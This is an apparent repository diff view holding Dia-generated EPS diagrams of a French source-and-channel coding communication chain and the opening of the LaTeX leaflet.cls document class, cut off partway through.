n 19.000000 5.000000 0.000000 0.000000 180.000000 270.000000 ellipse s |
|||
n 26.100000 5.000000 0.000000 0.000000 270.000000 360.000000 ellipse s |
|||
n 19.000000 5.000000 m 19.000000 7.250000 l s |
|||
n 26.100000 5.000000 m 26.100000 7.250000 l s |
|||
n 19.000000 7.250000 0.000000 0.000000 90.000000 180.000000 ellipse s |
|||
n 26.100000 7.250000 0.000000 0.000000 0.000000 90.000000 ellipse s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Récepteur) dup sw 2 div 22.550000 ex sub 6.200000 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Canal) dup sw 2 div 16.050000 ex sub 5.725000 m gs 1 -1 sc sh gr |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 13.100000 6.125000 m 18.513197 6.125000 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 18.888197 6.125000 m 18.388197 6.375000 l 18.513197 6.125000 l 18.388197 5.875000 l ef |
|||
n 18.888197 6.125000 m 18.388197 6.375000 l 18.513197 6.125000 l 18.388197 5.875000 l cp s |
|||
showpage |
|||
|
After Width: | Height: | Size: 2.3 KiB |
Binary file not shown.
@ -0,0 +1,538 @@ |
|||
%!PS-Adobe-2.0 EPSF-2.0 |
|||
%%Title: /home/users/trusted-users/nicolas.masse/tmp/CC/general2.dia |
|||
%%Creator: Dia v0.95-1 |
|||
%%CreationDate: Sun Dec 3 16:46:54 2006 |
|||
%%For: nicolas.masse |
|||
%%Orientation: Portrait |
|||
%%Magnification: 1.0000 |
|||
%%BoundingBox: 0 0 882 372 |
|||
%%BeginSetup |
|||
%%EndSetup |
|||
%%EndComments |
|||
%%BeginProlog |
|||
[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright |
|||
/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one |
|||
/two /three /four /five /six /seven /eight /nine /colon /semicolon |
|||
/less /equal /greater /question /at /A /B /C /D /E |
|||
/F /G /H /I /J /K /L /M /N /O |
|||
/P /Q /R /S /T /U /V /W /X /Y |
|||
/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c |
|||
/d /e /f /g /h /i /j /k /l /m |
|||
/n /o /p /q /r /s /t /u /v /w |
|||
/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef |
|||
/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright |
|||
/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior |
|||
/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf |
|||
/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla |
|||
/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde |
|||
/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex |
|||
/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring |
|||
/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis |
|||
/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave |
|||
/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def |
|||
/cp {closepath} bind def |
|||
/c {curveto} bind def |
|||
/f {fill} bind def |
|||
/a {arc} bind def |
|||
/ef {eofill} bind def |
|||
/ex {exch} bind def |
|||
/gr {grestore} bind def |
|||
/gs {gsave} bind def |
|||
/sa {save} bind def |
|||
/rs {restore} bind def |
|||
/l {lineto} bind def |
|||
/m {moveto} bind def |
|||
/rm {rmoveto} bind def |
|||
/n {newpath} bind def |
|||
/s {stroke} bind def |
|||
/sh {show} bind def |
|||
/slc {setlinecap} bind def |
|||
/slj {setlinejoin} bind def |
|||
/slw {setlinewidth} bind def |
|||
/srgb {setrgbcolor} bind def |
|||
/rot {rotate} bind def |
|||
/sc {scale} bind def |
|||
/sd {setdash} bind def |
|||
/ff {findfont} bind def |
|||
/sf {setfont} bind def |
|||
/scf {scalefont} bind def |
|||
/sw {stringwidth pop} bind def |
|||
/tr {translate} bind def |
|||
|
|||
/ellipsedict 8 dict def |
|||
ellipsedict /mtrx matrix put |
|||
/ellipse |
|||
{ ellipsedict begin |
|||
/endangle exch def |
|||
/startangle exch def |
|||
/yrad exch def |
|||
/xrad exch def |
|||
/y exch def |
|||
/x exch def /savematrix mtrx currentmatrix def |
|||
x y tr xrad yrad sc |
|||
0 0 1 startangle endangle arc |
|||
savematrix setmatrix |
|||
end |
|||
} def |
|||
|
|||
/mergeprocs { |
|||
dup length |
|||
3 -1 roll |
|||
dup |
|||
length |
|||
dup |
|||
5 1 roll |
|||
3 -1 roll |
|||
add |
|||
array cvx |
|||
dup |
|||
3 -1 roll |
|||
0 exch |
|||
putinterval |
|||
dup |
|||
4 2 roll |
|||
putinterval |
|||
} bind def |
|||
/Times-Roman-latin1 |
|||
/Times-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Italic-latin1 |
|||
/Times-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-Bold-latin1 |
|||
/Times-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Times-BoldItalic-latin1 |
|||
/Times-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Book-latin1 |
|||
/AvantGarde-Book findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-BookOblique-latin1 |
|||
/AvantGarde-BookOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-Demi-latin1 |
|||
/AvantGarde-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/AvantGarde-DemiOblique-latin1 |
|||
/AvantGarde-DemiOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Light-latin1 |
|||
/Bookman-Light findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-LightItalic-latin1 |
|||
/Bookman-LightItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-Demi-latin1 |
|||
/Bookman-Demi findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Bookman-DemiItalic-latin1 |
|||
/Bookman-DemiItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-latin1 |
|||
/Courier findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Oblique-latin1 |
|||
/Courier-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-Bold-latin1 |
|||
/Courier-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Courier-BoldOblique-latin1 |
|||
/Courier-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-latin1 |
|||
/Helvetica findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Oblique-latin1 |
|||
/Helvetica-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Bold-latin1 |
|||
/Helvetica-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-BoldOblique-latin1 |
|||
/Helvetica-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-latin1 |
|||
/Helvetica-Narrow findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Oblique-latin1 |
|||
/Helvetica-Narrow-Oblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-Bold-latin1 |
|||
/Helvetica-Narrow-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Helvetica-Narrow-BoldOblique-latin1 |
|||
/Helvetica-Narrow-BoldOblique findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Roman-latin1 |
|||
/NewCenturySchoolbook-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Italic-latin1 |
|||
/NewCenturySchoolbook-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-Bold-latin1 |
|||
/NewCenturySchoolbook-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/NewCenturySchoolbook-BoldItalic-latin1 |
|||
/NewCenturySchoolbook-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Roman-latin1 |
|||
/Palatino-Roman findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Italic-latin1 |
|||
/Palatino-Italic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-Bold-latin1 |
|||
/Palatino-Bold findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Palatino-BoldItalic-latin1 |
|||
/Palatino-BoldItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/Symbol-latin1 |
|||
/Symbol findfont |
|||
definefont pop |
|||
/ZapfChancery-MediumItalic-latin1 |
|||
/ZapfChancery-MediumItalic findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
/ZapfDingbats-latin1 |
|||
/ZapfDingbats findfont |
|||
dup length dict begin |
|||
{1 index /FID ne {def} {pop pop} ifelse} forall |
|||
/Encoding isolatin1encoding def |
|||
currentdict end |
|||
definefont pop |
|||
28.346000 -28.346000 scale |
|||
-5.950000 -18.050000 translate |
|||
%%EndProlog |
|||
|
|||
|
|||
1.000000 1.000000 1.000000 srgb |
|||
n 6.000000 5.000000 m 6.000000 8.000000 l 13.000000 8.000000 l 13.000000 5.000000 l f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 6.000000 5.000000 m 6.000000 8.000000 l 13.000000 8.000000 l 13.000000 5.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Source) dup sw 2 div 9.500000 ex sub 6.575000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 7.000000 10.000000 m 7.000000 13.000000 l 12.000000 13.000000 l 12.000000 10.000000 l f |
|||
n 7.000000 11.000000 m 7.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse f |
|||
n 12.000000 11.000000 m 12.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse f |
|||
n 6.000000 11.000000 m 6.000000 12.000000 l 13.000000 12.000000 l 13.000000 11.000000 l f |
|||
n 7.000000 12.000000 m 7.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse f |
|||
n 12.000000 12.000000 m 12.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 7.000000 10.000000 m 12.000000 10.000000 l s |
|||
n 7.000000 13.000000 m 12.000000 13.000000 l s |
|||
n 7.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse s |
|||
n 12.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse s |
|||
n 6.000000 11.000000 m 6.000000 12.000000 l s |
|||
n 13.000000 11.000000 m 13.000000 12.000000 l s |
|||
n 7.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse s |
|||
n 12.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Codage) dup sw 2 div 9.500000 ex sub 11.175000 m gs 1 -1 sc sh gr |
|||
(de source) dup sw 2 div 9.500000 ex sub 11.975000 m gs 1 -1 sc sh gr |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 9.500000 8.000000 m 9.500000 9.513197 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 9.500000 9.888197 m 9.250000 9.388197 l 9.500000 9.513197 l 9.750000 9.388197 l ef |
|||
n 9.500000 9.888197 m 9.250000 9.388197 l 9.500000 9.513197 l 9.750000 9.388197 l cp s |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 7.000000 15.000000 m 7.000000 18.000000 l 12.000000 18.000000 l 12.000000 15.000000 l f |
|||
n 7.000000 16.000000 m 7.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse f |
|||
n 12.000000 16.000000 m 12.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse f |
|||
n 6.000000 16.000000 m 6.000000 17.000000 l 13.000000 17.000000 l 13.000000 16.000000 l f |
|||
n 7.000000 17.000000 m 7.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse f |
|||
n 12.000000 17.000000 m 12.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 7.000000 15.000000 m 12.000000 15.000000 l s |
|||
n 7.000000 18.000000 m 12.000000 18.000000 l s |
|||
n 7.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse s |
|||
n 12.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse s |
|||
n 6.000000 16.000000 m 6.000000 17.000000 l s |
|||
n 13.000000 16.000000 m 13.000000 17.000000 l s |
|||
n 7.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse s |
|||
n 12.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Codage) dup sw 2 div 9.500000 ex sub 16.175000 m gs 1 -1 sc sh gr |
|||
(de canal) dup sw 2 div 9.500000 ex sub 16.975000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 18.000000 15.000000 m 18.000000 18.000000 l 25.000000 18.000000 l 25.000000 15.000000 l f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 18.000000 15.000000 m 18.000000 18.000000 l 25.000000 18.000000 l 25.000000 15.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Canal) dup sw 2 div 21.500000 ex sub 16.566250 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 31.000000 15.000000 m 31.000000 18.000000 l 36.000000 18.000000 l 36.000000 15.000000 l f |
|||
n 31.000000 16.000000 m 31.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse f |
|||
n 36.000000 16.000000 m 36.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse f |
|||
n 30.000000 16.000000 m 30.000000 17.000000 l 37.000000 17.000000 l 37.000000 16.000000 l f |
|||
n 31.000000 17.000000 m 31.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse f |
|||
n 36.000000 17.000000 m 36.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 31.000000 15.000000 m 36.000000 15.000000 l s |
|||
n 31.000000 18.000000 m 36.000000 18.000000 l s |
|||
n 31.000000 16.000000 1.000000 1.000000 180.000000 270.000000 ellipse s |
|||
n 36.000000 16.000000 1.000000 1.000000 270.000000 360.000000 ellipse s |
|||
n 30.000000 16.000000 m 30.000000 17.000000 l s |
|||
n 37.000000 16.000000 m 37.000000 17.000000 l s |
|||
n 31.000000 17.000000 1.000000 1.000000 90.000000 180.000000 ellipse s |
|||
n 36.000000 17.000000 1.000000 1.000000 0.000000 90.000000 ellipse s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Décodage) dup sw 2 div 33.500000 ex sub 16.175000 m gs 1 -1 sc sh gr |
|||
(de canal) dup sw 2 div 33.500000 ex sub 16.975000 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 31.000000 10.000000 m 31.000000 13.000000 l 36.000000 13.000000 l 36.000000 10.000000 l f |
|||
n 31.000000 11.000000 m 31.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse f |
|||
n 36.000000 11.000000 m 36.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse f |
|||
n 30.000000 11.000000 m 30.000000 12.000000 l 37.000000 12.000000 l 37.000000 11.000000 l f |
|||
n 31.000000 12.000000 m 31.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse f |
|||
n 36.000000 12.000000 m 36.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 31.000000 10.000000 m 36.000000 10.000000 l s |
|||
n 31.000000 13.000000 m 36.000000 13.000000 l s |
|||
n 31.000000 11.000000 1.000000 1.000000 180.000000 270.000000 ellipse s |
|||
n 36.000000 11.000000 1.000000 1.000000 270.000000 360.000000 ellipse s |
|||
n 30.000000 11.000000 m 30.000000 12.000000 l s |
|||
n 37.000000 11.000000 m 37.000000 12.000000 l s |
|||
n 31.000000 12.000000 1.000000 1.000000 90.000000 180.000000 ellipse s |
|||
n 36.000000 12.000000 1.000000 1.000000 0.000000 90.000000 ellipse s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Décodage) dup sw 2 div 33.500000 ex sub 11.166250 m gs 1 -1 sc sh gr |
|||
(de source) dup sw 2 div 33.500000 ex sub 11.966250 m gs 1 -1 sc sh gr |
|||
1.000000 1.000000 1.000000 srgb |
|||
n 30.000000 5.000000 m 30.000000 8.000000 l 37.000000 8.000000 l 37.000000 5.000000 l f |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slj |
|||
0.000000 0.000000 0.000000 srgb |
|||
n 30.000000 5.000000 m 30.000000 8.000000 l 37.000000 8.000000 l 37.000000 5.000000 l cp s |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
(Récepteur) dup sw 2 div 33.500000 ex sub 6.566250 m gs 1 -1 sc sh gr |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 9.500000 13.000000 m 9.500000 14.513197 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 9.500000 14.888197 m 9.250000 14.388197 l 9.500000 14.513197 l 9.750000 14.388197 l ef |
|||
n 9.500000 14.888197 m 9.250000 14.388197 l 9.500000 14.513197 l 9.750000 14.388197 l cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 13.000000 16.500000 m 17.513197 16.500000 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 17.888197 16.500000 m 17.388197 16.750000 l 17.513197 16.500000 l 17.388197 16.250000 l ef |
|||
n 17.888197 16.500000 m 17.388197 16.750000 l 17.513197 16.500000 l 17.388197 16.250000 l cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 25.000000 16.500000 m 29.513197 16.500000 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 29.888197 16.500000 m 29.388197 16.750000 l 29.513197 16.500000 l 29.388197 16.250000 l ef |
|||
n 29.888197 16.500000 m 29.388197 16.750000 l 29.513197 16.500000 l 29.388197 16.250000 l cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 33.500000 15.000000 m 33.500000 13.486803 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 33.500000 13.111803 m 33.750000 13.611803 l 33.500000 13.486803 l 33.250000 13.611803 l ef |
|||
n 33.500000 13.111803 m 33.750000 13.611803 l 33.500000 13.486803 l 33.250000 13.611803 l cp s |
|||
0.100000 slw |
|||
[] 0 sd |
|||
[] 0 sd |
|||
0 slc |
|||
n 33.500000 10.000000 m 33.500000 8.486803 l s |
|||
[] 0 sd |
|||
0 slj |
|||
0 slc |
|||
n 33.500000 8.111803 m 33.750000 8.611803 l 33.500000 8.486803 l 33.250000 8.611803 l ef |
|||
n 33.500000 8.111803 m 33.750000 8.611803 l 33.500000 8.486803 l 33.250000 8.611803 l cp s |
|||
/Helvetica-latin1 ff 0.490000 scf sf |
|||
(modulation) dup sw 2 div 15.500000 ex sub 16.117500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.490000 scf sf |
|||
(demodulation) dup sw 2 div 27.500000 ex sub 16.117500 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( analogique) 9.500000 9.066250 m gs 1 -1 sc sh gr |
|||
/Helvetica-latin1 ff 0.560000 scf sf |
|||
( numérique) 9.500000 14.066250 m gs 1 -1 sc sh gr |
|||
showpage |
|||
|
After Width: | Height: | Size: 12 KiB |
@ -0,0 +1,110 @@ |
|||
%% |
|||
%% This is file `leaflet.cls', |
|||
%% generated with the docstrip utility. |
|||
%% |
|||
%% The original source files were: |
|||
%% |
|||
%% leaflet.dtx (with options: `class') |
|||
%% |
|||
%% Copyright 1998 Juergen Schlegelmilch |
|||
%% |
|||
%% This program is provided under the terms of the |
|||
%% LaTeX Project Public License distributed from CTAN |
|||
%% archives in directory macros/latex/base/lppl.txt. |
|||
%% |
|||
%% Author: Juergen Schlegelmilch |
|||
%% schlegel@informatik.uni-rostock.de |
|||
%% |
|||
\NeedsTeXFormat{LaTeX2e} |
|||
\ProvidesClass{leaflet}[1999/06/01 v0.3 document class leaflet] |
|||
\LoadClassWithOptions{article} |
|||
\newlength{\p@perwidth} |
|||
\setlength{\p@perwidth}{0.333333334\paperheight} |
|||
\newlength{\p@perheight} |
|||
\setlength{\p@perheight}{\paperwidth} |
|||
\RequirePackage{geometry} |
|||
\geometry{papersize={\p@perwidth,\p@perheight}, |
|||
vmargin=10mm,hmargin=8mm, |
|||
noheadfoot, |
|||
marginparwidth=0mm,marginparsep=0mm} |
|||
\newcommand\customhead{} |
|||
\newcommand\customfoot{} |
|||
\newcommand\ps@leaflet{% |
|||
\def\@evenhead{% |
|||
\customhead\hfill}% |
|||
\def\@oddhead{% |
|||
\ifnum\c@page=\tw@ |
|||
{\unitlength1mm |
|||
% set the fold mark at 8mm (left margin) + 91mm |
|||
\begin{picture}(0,0)\put(91,0){\rule{0.3mm}{0.3mm}}\end{picture}}% |
|||
\fi |
|||
\ifnum\c@page=7\ClassError{leaflet}{% |
|||
Too much text for leaflet}{% |
|||
The text you supplied fills more than six pages and will |
|||
therefore not fit onto a single leaflet. Try using smaller |
|||
fonts or reducing vertical space.}\fi |
|||
\customhead |
|||
\hfill}% |
|||
\def\@evenfoot{\customfoot\hfill}% |
|||
\let\@oddfoot\@evenfoot |
|||
} |
|||
\pagestyle{leaflet} |
|||
\sloppy |
|||
\setcounter{secnumdepth}{0} |
|||
\let\tempitemize=\itemize |
|||
\renewcommand\itemize{% |
|||
\setlength{\topsep}{0pt}% |
|||
\setlength{\partopsep}{0pt}% |
|||
\tempitemize |
|||
\setlength{\parskip}{0pt}% |
|||
\setlength{\parsep}{0pt}% |
|||
\setlength{\itemsep}{0pt}} |
|||
\let\tempenumerate=\enumerate |
|||
\renewcommand\enumerate{% |
|||
\setlength{\topsep}{0pt}% |
|||
\setlength{\partopsep}{0pt}% |
|||
\tempenumerate |
|||
\setlength{\parskip}{0pt}% |
|||
\setlength{\parsep}{0pt}% |
|||
\setlength{\itemsep}{0pt}} |
|||
\let\tempdescription=\description |
|||
\renewcommand\description{% |
|||
\setlength{\topsep}{0pt}% |
|||
\setlength{\partopsep}{0pt}% |
|||
\tempdescription |
|||
\setlength{\parskip}{0pt}% |
|||
\setlength{\parsep}{0pt}% |
|||
\setlength{\itemsep}{0pt}} |
|||
\setlength{\leftmargini}{1.2em} |
|||
\setlength{\leftmarginii}{1.6em} |
|||
\setlength{\leftmarginiii}{1.2em} |
|||
\setlength{\leftmarginiv}{1.2em} |
|||
\renewcommand\topfraction{0.7} |
|||
\renewcommand\bottomfraction{0.7} |
|||
\setlength{\textfloatsep}{10pt plus 4pt minus 3pt} |
|||
\renewcommand\section{% |
|||
\@startsection{section}{3}{\z@}% |
|||
{-2.75ex\@plus -1ex \@minus -.2ex}% |
|||
{0.2ex \@plus .1ex}% |
|||
{\normalfont\large\bfseries}}% |
|||
\renewcommand\subsection{% |
|||
\@startsection{subsection}{4}{\z@}% |
|||
{-0.75ex \@minus -.5ex}% |
|||
{0.2ex \@plus .1ex}% |
|||
{\normalfont\normalsize\bfseries}}% |
|||
\let\subsubsetion=\subsection |
|||
\renewcommand\paragraph{% |
|||
\@startsection{paragraph}{4}{\z@}% |
|||
{0.75ex \@plus1ex \@minus.2ex}% |
|||
{-1em}% |
|||
{\normalfont\normalsize\bfseries}} |
|||
\renewcommand\subparagraph{% |
|||
